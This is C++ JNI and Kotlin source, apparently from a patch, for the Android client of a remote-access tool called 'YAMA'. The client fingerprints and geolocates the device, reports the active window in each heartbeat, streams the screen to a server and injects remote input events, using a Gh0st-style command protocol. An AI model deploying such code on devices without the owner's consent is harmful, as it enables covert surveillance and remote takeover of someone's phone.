// 触发编码器输出关键帧(setParameters REQUEST_SYNC_FRAME)
static void RequestIdrFromJava() { CallCaptureStaticVoid(g_requestIdrMid); }
// 强制 VirtualDisplay 推一帧(静止屏幕绕过 SurfaceFlinger 空闲优化)
static void ForceFirstFrameFromJava() { CallCaptureStaticVoid(g_forceFirstFrameMid); }
// 向 CaptureService.onNativeStatus() 发送状态 Toast(连接线程诊断用)
static void PostStatus(const char* msg) {
LOGI("STATUS: %s", msg);
#if SCREEN_STATUS_ENABLED
if (!g_jvm || !g_captureClass || !g_statusMid) return;
JNIEnv* jenv = nullptr;
bool attached = false;
if (g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6) == JNI_EDETACHED) {
g_jvm->AttachCurrentThread(&jenv, nullptr);
attached = true;
}
if (jenv) {
jstring js = jenv->NewStringUTF(msg);
if (js) {
jenv->CallStaticVoidMethod(g_captureClass, g_statusMid, js);
jenv->DeleteLocalRef(js);
}
if (jenv->ExceptionOccurred()) jenv->ExceptionClear();
}
if (attached) g_jvm->DetachCurrentThread();
#endif
}
static void ScreenSpyThread()
{
// 等待 Java 侧 startCapture() 调用 nativeSetScreenSize 设置真实分辨率。
// 若在此之前读到默认值 0,SendBitmapInfo 会发错误尺寸给服务端,
// 导致浏览器 initDecoder 尺寸与 H.264 SPS 不一致 → decode error → 黑屏。
for (int i = 0; i < 100 && g_screenWidth.load() == 0 && g_running.load(); ++i)
Sleep(50); // 最多等 5 秒
int w = g_screenWidth.load();
int h = g_screenHeight.load();
if (w == 0 || h == 0) {
LOGE("ScreenSpyThread: screen size not set after 5s, abort");
return;
}
LOGI("ScreenSpyThread start → %s:%d size=%dx%d", g_serverIp.c_str(), g_serverPort, w, h);
// 服务端只发一次 COMMAND_SCREEN_SPY 就等子连接,子连接失败必须自己重试
for (int attempt = 1; attempt <= 20 && S_CLIENT_NORMAL == g_bExit && g_running.load(); ++attempt) {
// 声明在 try 外部,确保 catch 中 handler 仍有效,可安全从 g_screenHandlers 移除
std::unique_ptr<IOCPClient> client;
std::unique_ptr<AndroidScreenHandler> handler;
try {
LOGI("SST[%d]: creating IOCPClient", attempt);
client = std::make_unique<IOCPClient>(g_bExit, true);
client->EnableSubConnAuth(true, g_myClientID);
LOGI("SST[%d]: connecting %s:%d", attempt, g_serverIp.c_str(), g_serverPort);
if (!client->ConnectServer(g_serverIp.c_str(), g_serverPort)) {
LOGI("ScreenSpyThread: connect failed (attempt %d/20), retry 2s", attempt);
Sleep(2000);
continue;
}
LOGI("SST[%d]: connected, creating handler w=%d h=%d", attempt, w, h);
handler = std::make_unique<AndroidScreenHandler>(client.get(), w, h);
LOGI("SST[%d]: handler created, inserting to set", attempt);
{
std::lock_guard<std::mutex> lk(g_shMutex);
g_screenHandlers.insert(handler.get());
}
LOGI("SST[%d]: setManagerCallBack", attempt);
client->setManagerCallBack(handler.get(),
IOCPManager::DataProcess,
IOCPManager::ReconnectProcess);
LOGI("SST[%d]: SendBitmapInfo", attempt);
handler->SendBitmapInfo();
LOGI("SST[%d]: ForceFirstFrame", attempt);
ForceFirstFrameFromJava();
LOGI("SST[%d]: RequestIdr", attempt);
RequestIdrFromJava();
LOGI("SST[%d]: entering wait loop", attempt);
while (client->IsRunning() && client->IsConnected() && S_CLIENT_NORMAL == g_bExit)
Sleep(200);
client->setManagerCallBack(nullptr, nullptr, nullptr);
{
std::lock_guard<std::mutex> lk(g_shMutex);
g_screenHandlers.erase(handler.get());
}
} catch (const std::exception& e) {
LOGE("ScreenSpyThread exception (attempt %d): %s", attempt, e.what());
// 先清除回调,再析构 handler:防止 client 在 handler 析构后仍持有其指针
if (client) client->setManagerCallBack(nullptr, nullptr, nullptr);
if (handler) {
std::lock_guard<std::mutex> lk(g_shMutex);
g_screenHandlers.erase(handler.get());
}
Sleep(2000);
continue;
}
break; // 正常结束,不再重试
}
LOGI("ScreenSpyThread exit");
}
// ------------------------------------------------------------------ DataProcess
int DataProcess(void* /*user*/, PBYTE szBuffer, ULONG ulLength)
{
if (!szBuffer || !ulLength) return TRUE;
int allowed = (int)ClientAuth::IsCommandAllowed(szBuffer[0]);
if (!allowed) {
LOGI("DataProcess cmd=%d len=%lu allowed=%d",
(int)(unsigned char)szBuffer[0], (unsigned long)ulLength, allowed);
return TRUE;
}
switch (szBuffer[0]) {
case COMMAND_BYE:
PostStatus("BYE from server");
g_bExit = S_CLIENT_EXIT;
break;
case CMD_HEARTBEAT_ACK:
if (ulLength >= 1 + (ULONG)sizeof(HeartbeatACK)) {
HeartbeatACK ack;
memcpy(&ack, szBuffer + 1, sizeof(HeartbeatACK));
uint64_t now = GetUnixMs();
g_lastHeartbeatAckMs.store(now, std::memory_order_relaxed);
int64_t rtt = (int64_t)now - (int64_t)ack.Time;
if (ack.ProcessingMs > 0 && (int64_t)ack.ProcessingMs < rtt)
rtt -= ack.ProcessingMs;
g_rttEstimator.update_from_sample((double)rtt);
if (now - g_lastHbLogMs.load(std::memory_order_relaxed) >= HB_LOG_INTERVAL_MS) {
g_lastHbLogMs.store(now, std::memory_order_relaxed);
LOGI("HeartbeatACK RTT=%" PRId64 "ms SRTT=%.1fms", rtt, g_rttEstimator.srtt * 1000.0);
}
}
break;
case CMD_MASTERSETTING: {
MasterSettings settings;
if (ClientAuth::HandleMasterSettings(szBuffer + 1, (int)ulLength - 1, &settings)) {
if (settings.ReportInterval > 0)
g_heartbeatInterval = std::max(settings.ReportInterval, 30);
LOGI("MasterSettings OK interval=%ds (server=%d)", g_heartbeatInterval, settings.ReportInterval);
PostStatus("masterSettings: OK");
} else {
PostStatus("masterSettings: FAIL");
}
break;
}
case COMMAND_SCREEN_SPY: {
// 每个 COMMAND_SCREEN_SPY 对应一个独立子连接,支持多人同时观看/控制
size_t active;
{ std::lock_guard<std::mutex> lk(g_shMutex); active = g_screenHandlers.size(); }
LOGI("cmd: COMMAND_SCREEN_SPY len=%lu active=%zu w=%d h=%d",
(unsigned long)ulLength, active, g_screenWidth.load(), g_screenHeight.load());
std::thread(ScreenSpyThread).detach();
break;
}
case COMMAND_SCREEN_CONTROL: {
if (ulLength < 1 + 48u) { LOGI("SCREEN_CONTROL(main): too short %u", ulLength); break; }
const uint8_t* p = szBuffer + 1;
uint64_t msgVal = 0, wParam = 0, lParam = 0;
memcpy(&msgVal, p + 8, 8);
memcpy(&wParam, p + 16, 8);
memcpy(&lParam, p + 24, 8);
int32_t ptX = (int32_t)(int16_t)(lParam & 0xFFFF);
int32_t ptY = (int32_t)(int16_t)((lParam >> 16) & 0xFFFF);
DispatchControlEvent((uint32_t)msgVal, wParam, ptX, ptY);
break;
}
case CMD_SET_GROUP: {
std::string grp;
if (ulLength > 1) {
grp.assign((const char*)szBuffer + 1, ulLength - 1);
auto z = grp.find('\0');
if (z != std::string::npos) grp.resize(z);
}
{
std::lock_guard<std::mutex> lk(g_shMutex);
memset(g_SETTINGS.szGroupName, 0, sizeof(g_SETTINGS.szGroupName));
strncpy(g_SETTINGS.szGroupName, grp.c_str(), sizeof(g_SETTINGS.szGroupName) - 1);
}
SaveGroupName();
LOGI("Group changed to: %s", grp.c_str());
break;
}
case COMMAND_SHELL:
LOGI("COMMAND_SHELL (not implemented)");
break;
case COMMAND_SYSTEM:
LOGI("COMMAND_SYSTEM (not implemented)");
break;
default:
LOGI("cmd: unhandled cmd=%d len=%lu", (int)szBuffer[0], (unsigned long)ulLength);
break;
}
return TRUE;
}
// ------------------------------------------------------------------ 网络主线程
static void ConnectionThread()
{
LOGI("ConnectionThread → %s:%d", g_serverIp.c_str(), g_serverPort);
PostStatus("geo: fetching...");
std::string g_pubIp, g_location;
FetchGeoInfo(g_pubIp, g_location);
PostStatus(("geo: " + (g_pubIp.empty() ? "failed" : g_pubIp)).c_str());
LOGIN_INFOR logInfo;
{
std::string pcName = g_deviceModel;
if (g_SETTINGS.szGroupName[0]) { pcName += '/'; pcName += g_SETTINGS.szGroupName; }
strncpy(logInfo.szPCName, pcName.c_str(), sizeof(logInfo.szPCName) - 1);
}
strncpy(logInfo.OsVerInfoEx, g_androidVersion.c_str(), sizeof(logInfo.OsVerInfoEx) - 1);
strncpy(logInfo.szStartTime, ToPekingTimeAsString(nullptr).c_str(), sizeof(logInfo.szStartTime) - 1);
logInfo.dwCPUMHz = GetCpuMHz();
logInfo.bWebCamIsExist = 0;
g_myClientID = XXH64(g_androidId.c_str(), g_androidId.size(), 0);
logInfo.AddReserved("APK");
logInfo.AddReserved(64); // OS bits
logInfo.AddReserved(GetCpuCores()); // CPU 核数
logInfo.AddReserved(GetMemoryGB()); // 内存 GB
logInfo.AddReserved(g_apkPath.empty() ? "/data/app/com.yama.client"
: g_apkPath.c_str()); // 文件路径
logInfo.AddReserved("?");
logInfo.AddReserved(logInfo.szStartTime);
logInfo.AddReserved("?");
logInfo.AddReserved(64); // 程序位数
logInfo.AddReserved("");
logInfo.AddReserved(g_location.c_str()); // [10] 地理位置
logInfo.AddReserved(g_pubIp.c_str()); // [11] 公网 IP
logInfo.AddReserved("v1.0.0");
logInfo.AddReserved(g_username.c_str());
logInfo.AddReserved(0); // IsRunningAsAdmin
logInfo.AddReserved(g_screenRes.c_str());
logInfo.AddReserved(std::to_string(g_myClientID).c_str());
logInfo.AddReserved((int)getpid()); // PID
logInfo.AddReserved(FormatFileSize(GetFileSize(g_apkPath)).c_str()); // 文件大小
ClientAuth::g_loginMsg = std::string(logInfo.szStartTime) + "|" + std::to_string(g_myClientID);
LOGI("ClientID=%" PRIu64, g_myClientID);
std::unique_ptr<IOCPClient> client(new IOCPClient(g_bExit, false));
client->setManagerCallBack(nullptr, DataProcess, nullptr);
int g_connAttempt = 0;
while (S_CLIENT_NORMAL == g_bExit && g_running.load()) {
char connMsg[64];
snprintf(connMsg, sizeof(connMsg), "connect #%d → %s:%d",
++g_connAttempt, g_serverIp.c_str(), g_serverPort);
PostStatus(connMsg);
clock_t c = clock();
if (!client->ConnectServer(g_serverIp.c_str(), g_serverPort)) {
snprintf(connMsg, sizeof(connMsg), "connect #%d failed errno=%d", g_connAttempt, errno);
PostStatus(connMsg);
Sleep(5000);
continue;
}
PostStatus("connected! sending login...");
ClientAuth::OnNewConnection();
{
std::lock_guard<std::mutex> lk(g_shMutex);
std::string pcName = g_deviceModel;
if (g_SETTINGS.szGroupName[0]) { pcName += '/'; pcName += g_SETTINGS.szGroupName; }
strncpy(logInfo.szPCName, pcName.c_str(), sizeof(logInfo.szPCName) - 1);
logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0';
}
client->SendLoginInfo(logInfo.Speed(clock() - c));
g_lastHeartbeatAckMs.store(GetUnixMs(), std::memory_order_relaxed);
LOGI("Connected & login sent");
while (client->IsRunning() && client->IsConnected()
&& S_CLIENT_NORMAL == g_bExit && g_running.load())
{
int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30;
for (int i = 0; i < interval; ++i) {
if (!client->IsRunning() || !client->IsConnected()
|| g_bExit != S_CLIENT_NORMAL || !g_running.load()) {
char dbg[96];
snprintf(dbg, sizeof(dbg), "drop@%ds run=%d conn=%d exit=%d run2=%d",
i, (int)client->IsRunning(), (int)client->IsConnected(),
(int)(g_bExit == S_CLIENT_NORMAL), (int)g_running.load());
PostStatus(dbg);
break;
}
Sleep(1000);
}
if (!client->IsRunning() || !client->IsConnected()
|| g_bExit != S_CLIENT_NORMAL || !g_running.load()) break;
if (ClientAuth::IsTimedOut()) {
PostStatus("timeout: masterSettings");
continue;
}
{
int ackTO = (interval * 3 > 60) ? interval * 3 : 60;
uint64_t last = g_lastHeartbeatAckMs.load(std::memory_order_relaxed);
uint64_t now = GetUnixMs();
if (last > 0 && now > last && now - last > (uint64_t)ackTO * 1000ULL) {
PostStatus("timeout: ACK");
continue;
}
}
Heartbeat hb;
hb.Time = GetUnixMs();
hb.Ping = (int)(g_rttEstimator.srtt * 1000.0);
std::string aw = GetActiveWindowFromJava();
strncpy(hb.ActiveWnd, aw.c_str(), sizeof(hb.ActiveWnd) - 1);
BYTE buf[sizeof(Heartbeat) + 1];
buf[0] = TOKEN_HEARTBEAT;
memcpy(buf + 1, &hb, sizeof(Heartbeat));
client->Send2Server((char*)buf, sizeof(buf));
{
uint64_t now2 = GetUnixMs();
if (now2 - g_lastHbLogMs.load(std::memory_order_relaxed) >= HB_LOG_INTERVAL_MS) {
// ACK 分支会更新 g_lastHbLogMs,这里仅在没有 ACK 时兜底打印
LOGI("Heartbeat Ping=%dms", hb.Ping);
}
}
}
PostStatus("disconnected, retry...");
// Give server 2 s to remove old context from HostList; without this
// the immediate reconnect hits "already exists" and server skips SendMasterSettings.
std::this_thread::sleep_for(std::chrono::seconds(2));
}
g_running.store(false);
LOGI("ConnectionThread exit");
if (g_bExit == S_CLIENT_EXIT && g_jvm && g_captureClass && g_nativeExitMid) {
JNIEnv* jenv = nullptr;
bool attached = false;
if (g_jvm->GetEnv((void**)&jenv, JNI_VERSION_1_6) == JNI_EDETACHED) {
g_jvm->AttachCurrentThread(&jenv, nullptr);
attached = true;
}
if (jenv) {
jenv->CallStaticVoidMethod(g_captureClass, g_nativeExitMid);
if (jenv->ExceptionCheck()) jenv->ExceptionClear();
}
if (attached) g_jvm->DetachCurrentThread();
}
}
// ------------------------------------------------------------------ JNI
extern "C" {
JNIEXPORT jint JNICALL
Java_com_yama_client_YamaBridge_nativeInit(
JNIEnv* env, jobject,
jstring serverIp, jint serverPort,
jstring androidId, jstring deviceModel,
jstring androidVersion, jstring screenRes,
jstring username, jstring apkPath, jstring filesDir)
{
// CPP-01 fix: CAS 原子地完成"检查+设置",消除 check-then-act 竞争
bool expected = false;
if (!g_running.compare_exchange_strong(expected, true)) {
LOGI("already running"); return -1;
}
auto toStr = [&](jstring js) -> std::string {
if (!js) return "";
const char* c = env->GetStringUTFChars(js, nullptr);
std::string s = c ? c : "";
env->ReleaseStringUTFChars(js, c);
return s;
};
g_serverIp = g_SETTINGS.ServerIP();
g_serverPort = g_SETTINGS.ServerPort();
g_androidId = toStr(androidId);
g_deviceModel = toStr(deviceModel);
g_androidVersion = toStr(androidVersion);
g_screenRes = toStr(screenRes);
g_username = toStr(username);
g_apkPath = toStr(apkPath);
g_filesDir = toStr(filesDir);
LoadGroupName(); // 若文件存在则覆盖 g_SETTINGS.szGroupName(优先级高于编译时 patch)
// 缓存 JVM 和 Class/Method 引用。必须在 Java 线程(nativeInit 调用栈)
// 里做 FindClass,否则 AttachCurrentThread 的后台线程只有系统 ClassLoader,
// 找不到 App 类,GetStaticMethodID 拿到 null 导致后续调用崩溃。
if (g_jvm == nullptr) {
if (env->GetJavaVM(&g_jvm) == JNI_OK) {
jclass cls = env->FindClass("com/yama/client/ControlService");
if (cls) {
g_ctrlClass = (jclass)env->NewGlobalRef(cls);
g_ctrlMethod = env->GetStaticMethodID(g_ctrlClass, "onControlEvent", "(IJII)V");
if (!g_ctrlMethod) LOGE("ControlService.onControlEvent not found");
g_getActiveWindowMid = env->GetStaticMethodID(g_ctrlClass, "getActiveWindow", "()Ljava/lang/String;");
if (env->ExceptionCheck()) { env->ExceptionClear(); g_getActiveWindowMid = nullptr; }
if (!g_getActiveWindowMid) LOGE("ControlService.getActiveWindow not found");
} else {
LOGE("ControlService class not found");
}
jclass capCls = env->FindClass("com/yama/client/CaptureService");
if (env->ExceptionCheck()) { env->ExceptionClear(); capCls = nullptr; }
if (capCls) {
g_captureClass = (jclass)env->NewGlobalRef(capCls);
g_requestIdrMid = env->GetStaticMethodID(g_captureClass, "requestIdr", "()V");
if (env->ExceptionCheck()) { env->ExceptionClear(); g_requestIdrMid = nullptr; }
if (!g_requestIdrMid) LOGE("CaptureService.requestIdr not found");
// GetStaticMethodID 找不到方法时会挂起 JNI 异常;必须清除,
// 否则 nativeInit 返回时 Java 层会抛出 NoSuchMethodError 崩溃。
g_forceFirstFrameMid = env->GetStaticMethodID(g_captureClass, "forceFirstFrame", "()V");
if (env->ExceptionCheck()) { env->ExceptionClear(); g_forceFirstFrameMid = nullptr; }
if (!g_forceFirstFrameMid) LOGE("CaptureService.forceFirstFrame not found");
g_statusMid = env->GetStaticMethodID(g_captureClass, "onNativeStatus", "(Ljava/lang/String;)V");
if (env->ExceptionCheck()) { env->ExceptionClear(); g_statusMid = nullptr; }
if (!g_statusMid) LOGE("CaptureService.onNativeStatus not found");
g_nativeExitMid = env->GetStaticMethodID(g_captureClass, "onNativeExit", "()V");
if (env->ExceptionCheck()) { env->ExceptionClear(); g_nativeExitMid = nullptr; }
if (!g_nativeExitMid) LOGE("CaptureService.onNativeExit not found");
UseAndroidLog(PostStatus);
} else {
LOGE("CaptureService class not found");
}
}
}
g_bExit = S_CLIENT_NORMAL;
// g_running 已在 CAS 中设为 true,不重复 store
std::thread(ConnectionThread).detach();
LOGI("nativeInit OK server=%s:%d", g_serverIp.c_str(), g_serverPort);
return 0;
}
JNIEXPORT void JNICALL
Java_com_yama_client_YamaBridge_nativeStop(JNIEnv*, jobject)
{
LOGI("nativeStop");
g_bExit = S_CLIENT_EXIT;
g_running.store(false);
}
// 由 CaptureService 在 MediaCodec 配置完成后调用,告知 C++ 侧实际捕获尺寸
JNIEXPORT void JNICALL
Java_com_yama_client_YamaBridge_nativeSetScreenSize(JNIEnv*, jobject, jint width, jint height)
{
g_screenWidth.store(width);
g_screenHeight.store(height);
LOGI("ScreenSize=%dx%d", width, height);
}
// 由 CaptureService 的 MediaCodec.Callback 调用,投递 H.264 NALU
JNIEXPORT void JNICALL
Java_com_yama_client_YamaBridge_nativeOnH264Frame(
JNIEnv* env, jobject,
jbyteArray data, jint offset, jint size, jboolean isKeyframe)
{
// CPP-04 fix: 验证 offset/size 边界,防止越界读写导致崩溃
if (!data || offset < 0 || size <= 0) return;
jsize arrLen = env->GetArrayLength(data);
if ((jlong)offset + size > arrLen) {
LOGE("nativeOnH264Frame: bounds violation offset=%d size=%d arrLen=%d", offset, size, arrLen);
return;
}
jbyte* buf = env->GetByteArrayElements(data, nullptr);
if (!buf) return;
{
std::lock_guard<std::mutex> lk(g_shMutex);
for (auto* h : g_screenHandlers)
h->OnFrameData((const uint8_t*)buf + offset, (uint32_t)size, (bool)isKeyframe);
}
env->ReleaseByteArrayElements(data, buf, JNI_ABORT);
}
} // extern "C"
@@ -0,0 +1,409 @@
package com.yama.client
import android.app.Notification
import android.app.NotificationChannel
import android.app.NotificationManager
import android.app.Service
import android.content.Intent
import android.hardware.display.DisplayManager
import android.hardware.display.VirtualDisplay
import android.media.MediaCodec
import android.media.MediaCodecInfo
import android.media.MediaFormat
import android.media.projection.MediaProjection
import android.media.projection.MediaProjectionManager
import android.os.Build
import android.os.Bundle
import android.os.Handler
import android.os.IBinder
import android.os.Looper
import android.provider.Settings
import android.util.DisplayMetrics
import android.util.Log
import android.view.WindowManager
import android.widget.Toast
class CaptureService : Service() {
companion object {
const val TAG = "YAMA"
const val CHANNEL_ID = "yama_service"
const val NOTIF_ID = 1
const val EXTRA_SERVER_IP = "server_ip"
const val EXTRA_SERVER_PORT = "server_port"
const val EXTRA_PROJECTION_RESULT = "projection_result"
const val EXTRA_PROJECTION_DATA = "projection_data"
private const val MAX_LONG_SIDE = 1080
// CS-01 fix: 通过 idrHandler.post 序列化到主线程,避免 TOCTOU 竞争
@Volatile var instance: CaptureService? = null
@JvmStatic
fun onNativeStatus(msg: String) {
val svc = instance ?: return
svc.idrHandler.post {
Toast.makeText(svc, msg, Toast.LENGTH_LONG).show()
}
}
@JvmStatic
fun onNativeExit() {
val svc = instance ?: return
Log.i(TAG, "onNativeExit: server requested disconnect, stopping service")
svc.idrHandler.post { svc.stopSelf() }
}
@JvmStatic
fun requestIdr() {
val svc = instance ?: return
svc.idrHandler.post {
runCatching {
val p = Bundle()
p.putInt(MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME, 0)
svc.mediaCodec?.setParameters(p)
}
}
}
/**
* 静止屏幕黑屏修复:SurfaceFlinger 在无脏区时不向 VirtualDisplay 推帧,
* 导致编码器无输入,REQUEST_SYNC_FRAME 悬空排队,浏览器等 10-60 秒才见画面。
* 解决方法:将 VirtualDisplay 宽度临时改变 2px,触发一次强制合成,
* 编码器随即得到输入帧并消费已排队的 IDR 请求。150ms 后恢复原始尺寸。
*/
@JvmStatic
fun forceFirstFrame() {
val svc = instance ?: return
svc.idrHandler.post {
runCatching {
val vd = svc.virtualDisplay ?: return@runCatching
val w = ControlService.encW
val h = ControlService.encH
val dpi = svc.resources.displayMetrics.densityDpi
Log.d(TAG, "forceFirstFrame: resize ${w}x${h} → ${w+2}x${h} to trigger composition")
vd.resize(w + 2, h, dpi)
svc.idrHandler.postDelayed({
runCatching { vd.resize(w, h, dpi) }
Log.d(TAG, "forceFirstFrame: restored ${w}x${h}")
}, 150)
}
}
}
}
private var mediaProjection: MediaProjection? = null
private var virtualDisplay: VirtualDisplay? = null
private var mediaCodec: MediaCodec? = null
private val idrHandler = Handler(Looper.getMainLooper())
// CS-04 fix: runCatching 包住 setParameters,防止 codec 已停止时抛异常
private val idrRunnable = object : Runnable {
override fun run() {
runCatching {
val p = Bundle()
p.putInt(MediaCodec.PARAMETER_KEY_REQUEST_SYNC_FRAME, 0)
mediaCodec?.setParameters(p)
}
idrHandler.postDelayed(this, 1000)
}
}
override fun onBind(intent: Intent?): IBinder? = null
override fun onCreate() {
super.onCreate()
instance = this
createNotificationChannel()
// CS-06: start with DATA_SYNC type only; upgrade to MEDIA_PROJECTION in
// onStartCommand when the token is actually available. On Android 14+
// (targetSdk 34+) calling startForeground(MEDIA_PROJECTION) without
// immediately pairing it with getMediaProjection() causes the system to
// kill the service after a ~5-second grace period — the root cause of the
// 3-9 s disconnect seen on Google TV when no screen-capture permission
// was granted.
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
startForeground(NOTIF_ID, buildNotification(),
android.content.pm.ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC)
} else {
startForeground(NOTIF_ID, buildNotification())
}
}
override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
// CS-03 fix: START_STICKY 重启时 intent 为 null,必须在最前面检查
if (intent == null) return START_NOT_STICKY
val ip = intent.getStringExtra(EXTRA_SERVER_IP) ?: return START_NOT_STICKY
val port = intent.getIntExtra(EXTRA_SERVER_PORT, 443)
val androidId = Settings.Secure.getString(contentResolver, Settings.Secure.ANDROID_ID) ?: ""
val model = "${Build.MANUFACTURER} ${Build.MODEL}"
val osVer = "Android ${Build.VERSION.RELEASE} (API ${Build.VERSION.SDK_INT})"
val (sw, sh) = getPhysicalResolution()
val res = "1:${sw}*${sh}"
val user = Build.USER
Log.i(TAG, "CaptureService: server=$ip:$port device=$model res=$res")
// YB-01 fix: so 库加载失败是 Error,不被 catch(Exception) 捕获,需单独处理
// ExceptionInInitializerError 包裹 UnsatisfiedLinkError(首次访问 object 时触发)
val initRet: Int
try {
initRet = YamaBridge.nativeInit(ip, port, androidId, model, osVer, res, user, packageCodePath ?: "", filesDir.absolutePath)
} catch (e: UnsatisfiedLinkError) {
Log.e(TAG, "Native library load failed: $e")
stopSelf()
return START_NOT_STICKY
} catch (e: ExceptionInInitializerError) {
Log.e(TAG, "Native library init failed: ${e.cause}")
stopSelf()
return START_NOT_STICKY
}
if (initRet != 0) {
Log.e(TAG, "nativeInit failed: ret=$initRet")
stopSelf()
return START_NOT_STICKY
}
val projResult = intent.getIntExtra(EXTRA_PROJECTION_RESULT, -1)
val projData = if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU)
intent.getParcelableExtra(EXTRA_PROJECTION_DATA, Intent::class.java)
else
@Suppress("DEPRECATION") intent.getParcelableExtra(EXTRA_PROJECTION_DATA)
if (projResult == android.app.Activity.RESULT_OK && projData != null) {
// Android 14+: upgrade foreground type to MEDIA_PROJECTION in the same
// start command that calls getMediaProjection(), as required by API 34+.
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
startForeground(NOTIF_ID, buildNotification(),
android.content.pm.ServiceInfo.FOREGROUND_SERVICE_TYPE_MEDIA_PROJECTION)
}
val pm = getSystemService(MEDIA_PROJECTION_SERVICE) as MediaProjectionManager
val mp = pm.getMediaProjection(projResult, projData)
mediaProjection = mp
// CS-05 fix: 分辨率为 0 时不启动采集,避免 MediaCodec 配置崩溃
if (sw > 0 && sh > 0) {
try {
startCapture(mp, sw, sh)
} catch (e: Exception) {
Log.e(TAG, "Screen capture failed: $e — running without capture")
}
} else {
Log.e(TAG, "Invalid screen resolution ${sw}x${sh}, skipping capture")
}
} else {
Log.w(TAG, "No MediaProjection token, skipping screen capture")
}
return START_STICKY
}
override fun onDestroy() {
super.onDestroy()
instance = null
stopCapture()
YamaBridge.nativeStop()
Log.i(TAG, "CaptureService destroyed")
}
// ---------------------------------------------------------------- MediaProjection + MediaCodec
private fun startCapture(mp: MediaProjection, physW: Int, physH: Int) {
val (encW, encH) = scaleDown(physW, physH, MAX_LONG_SIDE)
val dpi = resources.displayMetrics.densityDpi
Log.i(TAG, "Capture: phys=${physW}x${physH} enc=${encW}x${encH} dpi=$dpi")
val codec = MediaCodec.createEncoderByType(MediaFormat.MIMETYPE_VIDEO_AVC)
val surface = configureEncoder(codec, encW, encH)
var configData: ByteArray? = null
codec.setCallback(object : MediaCodec.Callback() {
override fun onInputBufferAvailable(mc: MediaCodec, index: Int) { /* Surface 模式不用 */ }
override fun onOutputBufferAvailable(mc: MediaCodec, index: Int, info: MediaCodec.BufferInfo) {
val buf = mc.getOutputBuffer(index)
if (buf == null || info.size == 0) {
mc.releaseOutputBuffer(index, false)
return
}
buf.position(info.offset)
buf.limit(info.offset + info.size)
if (info.flags and MediaCodec.BUFFER_FLAG_CODEC_CONFIG != 0) {
configData = ByteArray(info.size).also { buf.get(it) }
mc.releaseOutputBuffer(index, false)
return
}
val isKey = info.flags and MediaCodec.BUFFER_FLAG_KEY_FRAME != 0
val frame = ByteArray(info.size).also { buf.get(it) }
mc.releaseOutputBuffer(index, false)
// 部分安卓硬件编码器(如某些高通实现)对 REQUEST_SYNC_FRAME 强制产生的
// IDR 帧不设置 BUFFER_FLAG_KEY_FRAME,导致 SendLoop 将所有帧视为 P 帧丢弃。
// 补充扫描 NALU 字节来识别真正的关键帧,确保首帧能顺利发出。
val actualIsKey = isKey || isNaluKeyframe(frame)
val payload = if (actualIsKey && configData != null) configData!! + frame else frame
YamaBridge.nativeOnH264Frame(payload, 0, payload.size, actualIsKey)
}
override fun onError(mc: MediaCodec, e: MediaCodec.CodecException) {
Log.e(TAG, "MediaCodec error: $e")
}
override fun onOutputFormatChanged(mc: MediaCodec, format: MediaFormat) {
Log.i(TAG, "Output format: $format")
}
})
codec.start()
mediaCodec = codec
idrHandler.postDelayed(idrRunnable, 500)
// Android 14+ requires callback registered before createVirtualDisplay()
mp.registerCallback(object : MediaProjection.Callback() {
override fun onStop() {
Log.i(TAG, "MediaProjection stopped — switching to dataSync foreground type")
stopCapture()
// Android 14+: system auto-kills a foreground service whose mediaProjection
// is revoked. Re-declare as dataSync-only to survive without screen capture.
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
startForeground(NOTIF_ID, buildNotification(),
android.content.pm.ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC)
}
}
}, null)
virtualDisplay = mp.createVirtualDisplay(
"YAMA",
encW, encH, dpi,
DisplayManager.VIRTUAL_DISPLAY_FLAG_AUTO_MIRROR,
surface, null, null
)
YamaBridge.nativeSetScreenSize(encW, encH)
ControlService.physW = physW
ControlService.physH = physH
ControlService.encW = encW
ControlService.encH = encH
Log.i(TAG, "MediaCodec + VirtualDisplay started ${encW}x${encH}")
}
private fun buildFmt(w: Int, h: Int, lowLatency: Boolean, baseline: Boolean) =
MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, w, h).apply {
setInteger(MediaFormat.KEY_COLOR_FORMAT,
MediaCodecInfo.CodecCapabilities.COLOR_FormatSurface)
setInteger(MediaFormat.KEY_BIT_RATE, 4_000_000)
setInteger(MediaFormat.KEY_FRAME_RATE, 30)
setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, 2)
setInteger(MediaFormat.KEY_PRIORITY, 0)
setInteger(MediaFormat.KEY_OPERATING_RATE, 30)
if (lowLatency) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N)
setInteger(MediaFormat.KEY_LATENCY, 0)
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q)
setInteger(MediaFormat.KEY_LOW_LATENCY, 1)
}
if (baseline)
setInteger(MediaFormat.KEY_PROFILE,
MediaCodecInfo.CodecProfileLevel.AVCProfileBaseline)
}
// 逐级降级:低延迟+Baseline → 低延迟 → 默认,确保真机兼容
private fun configureEncoder(codec: MediaCodec, w: Int, h: Int): android.view.Surface {
val configs = listOf(
true to true,
true to false,
false to false,
)
for ((ll, bl) in configs) {
try {
val fmt = buildFmt(w, h, ll, bl)
codec.configure(fmt, null, null, MediaCodec.CONFIGURE_FLAG_ENCODE)
Log.i(TAG, "Encoder configured: lowLatency=$ll baseline=$bl")
return codec.createInputSurface()
} catch (e: Exception) {
Log.w(TAG, "Encoder config failed (lowLatency=$ll baseline=$bl): $e, retrying…")
try { codec.reset() } catch (_: Exception) {}
}
}
throw RuntimeException("MediaCodec: all encoder configs failed")
}
private fun stopCapture() {
idrHandler.removeCallbacks(idrRunnable)
runCatching { virtualDisplay?.release() }
// CS-07 fix: stop 和 release 分开,stop 失败不会跳过 release 导致资源泄漏
runCatching { mediaCodec?.stop() }
runCatching { mediaCodec?.release() }
runCatching { mediaProjection?.stop() }
virtualDisplay = null
mediaCodec = null
mediaProjection = null
}
// ---------------------------------------------------------------- 辅助函数
